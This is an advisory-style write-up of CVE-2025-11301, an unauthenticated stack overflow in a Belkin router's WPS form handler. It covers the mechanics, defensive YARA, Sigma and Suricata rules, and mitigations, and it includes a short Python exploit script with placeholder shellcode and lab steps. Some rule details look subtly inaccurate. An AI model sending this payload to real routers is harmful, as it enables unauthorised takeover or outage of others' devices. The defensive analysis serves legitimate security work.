CVE-2025-11301

Executive Summary

CVE-2025-11301 is a critical buffer overflow vulnerability discovered in the Belkin F9K1015 router, specifically in firmware version 1.00.10. The flaw resides in the /goform/formWlanSetupWPS endpoint, where the webpage argument is not properly sanitized, allowing an attacker to trigger a stack-based buffer overflow. This vulnerability can be exploited remotely without authentication, making it highly dangerous for home and small office networks. The exploit has been publicly released, and the vendor has not responded to disclosure attempts, leaving devices unpatched and at risk.

Supply Chain & Package Security

This vulnerability affects a physical network device (Belkin F9K1015 router) and is not related to any software package registry (NPM, PyPI, Go, Ruby). The supply chain risk is limited to the device's firmware distribution and the vendor's failure to provide a security update.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the router itself.
• Confidentiality (C): High (H) – Could lead to arbitrary code execution and data exfiltration.
• Integrity (I): High (H) – Full control over device.
• Availability (A): High (H) – Could cause denial of service or complete compromise.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. Public exploit availability and no patch make this an urgent threat.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-121) in the Belkin F9K1015 router's web management interface. The /goform/formWlanSetupWPS CGI endpoint is used to configure WPS settings. The webpage parameter is copied into a fixed-size stack buffer without bounds checking. By sending a crafted HTTP POST request with an overly long webpage value, an attacker can overwrite the return address and other critical stack data.

Technical Flow:

1. The router's HTTP server receives a POST request to /goform/formWlanSetupWPS.
2. The webpage parameter is extracted from the request.
3. The value is passed to a function that uses strcpy or similar unsafe function to copy it into a local buffer (e.g., 256 bytes).
4. If the input exceeds the buffer size, it overwrites adjacent stack memory, including the saved return address.
5. By carefully crafting the overflow, an attacker can redirect execution to shellcode injected in the same request or elsewhere in memory.

Attack Vector: Remote, unauthenticated HTTP POST request. Impact: Full device compromise, including ability to modify firmware, intercept traffic, pivot to internal network, or use the device in a botnet.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and what a fix would look like.

Vulnerable Code (Conceptual C):

void handle_wps_setup(char *webpage) {
    char buffer[256];
    strcpy(buffer, webpage); // Unsafe: no bounds check
    // ... process buffer
}

Patched Code (Conceptual C):

void handle_wps_setup(char *webpage) {
    char buffer[256];
    strncpy(buffer, webpage, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0'; // Ensure null termination
    // ... process buffer
}

The fix would involve replacing strcpy with a bounded copy function like strncpy or using safer alternatives like snprintf. Additionally, input validation should be performed to reject overly long inputs.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Belkin F9K1015 router with firmware 1.00.10.
• Network access to the router's web interface (typically on port 80 or 443).
• Python3 with requests library.

Exploit Script (Python):

#!/usr/bin/env python3
import requests
import sys

target = sys.argv[1]  # e.g., http://192.168.1.1
payload = b"A" * 300  # Overflow buffer (adjust offset for exact EIP control)
# Example shellcode placeholder (replace with actual shellcode)
shellcode = b"\x90" * 100  # NOP sled + actual shellcode

data = {
    "webpage": payload + shellcode
}

try:
    r = requests.post(f"{target}/goform/formWlanSetupWPS", data=data, timeout=5)
    print(f"Exploit sent. Response: {r.status_code}")
except Exception as e:
    print(f"Error: {e}")

Lab Setup:

1. Isolate the router in a lab network (no internet access).
2. Use a tool like binwalk to extract the firmware and analyze the binary for exact offset calculation.
3. Use gdb or qemu to emulate the MIPS binary and determine the return address offset.
4. Generate shellcode for the target architecture (MIPS little-endian) using msfvenom.

Note: The exact offset and shellcode architecture depend on the router's CPU (likely MIPS). Use a debugger to find the exact buffer size before EIP overwrite.

Blue Team (Defensive)

Detection:

• Monitor for HTTP POST requests to /goform/formWlanSetupWPS with abnormally long webpage parameters.
• Look for repeated connection attempts from the same IP to the router's web interface.
• Use network intrusion detection systems (NIDS) to flag oversized POST data.

Mitigation:

• Immediately isolate affected devices from the network.
• Disable remote management if not required.
• Implement network segmentation to limit exposure.
• Monitor for signs of compromise (unusual traffic, new admin accounts, firmware changes).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /goform/formWlanSetupWPS with webpage parameter exceeding 256 bytes.
• Outbound connections from the router to unknown IPs on unusual ports (e.g., 4444, 31337).
• DNS queries to known malicious domains.

Host IOCs (on the router):

• Modified firmware or configuration files.
• Unexpected processes running (e.g., /tmp/bot).
• New admin users or changed passwords.
• Log entries showing repeated failed login attempts followed by success.

File IOCs:

• Presence of files in /tmp/ with suspicious names (e.g., .exploit, shellcode).
• Modified /etc/passwd or /etc/shadow.

Detection Engineering

YARA Rule

rule CVE_2025_11301_Belkin_Buffer_Overflow {
    meta:
        description = "Detects exploit attempts for CVE-2025-11301 targeting Belkin F9K1015"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11301"
    strings:
        $exploit_pattern = "/goform/formWlanSetupWPS" ascii wide nocase
        $overflow_string = "webpage=" ascii wide nocase
        $long_payload = { 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 } // 16 A's
    condition:
        $exploit_pattern and $overflow_string and #long_payload > 10
}

Sigma Rule

title: CVE-2025-11301 Belkin F9K1015 Buffer Overflow Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests with oversized webpage parameter targeting Belkin router
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/goform/formWlanSetupWPS"
        cs-uri-query|length: > 300
    condition: selection
falsepositives:
    - Legitimate long configuration strings (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-11301 Belkin F9K1015 Buffer Overflow Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/goform/formWlanSetupWPS";
    http_uri;
    content:"webpage=";
    http_client_body;
    pcre:"/webpage=[A-Za-z0-9%]{300,}/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate: Disconnect the Belkin F9K1015 router from the network immediately.
2. Replace: Consider replacing the device with a supported, patched router from a vendor with active security support.
3. Monitor: Check for signs of compromise (unusual traffic, configuration changes).

Long-Term Mitigation:

• Vendor Contact: Continue to pressure Belkin for a firmware patch. If unresponsive, consider reporting to CERT/CC.
• Network Segmentation: Place IoT devices on a separate VLAN with strict firewall rules.
• Disable Remote Management: If the router must be used, disable remote administration and WPS.
• Firmware Alternatives: Research if open-source firmware (e.g., OpenWrt) is available for this model.

Workaround:

• Block HTTP POST requests to /goform/formWlanSetupWPS at the network perimeter using a web application firewall (WAF) or ACL.
• Use a reverse proxy to filter oversized requests.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert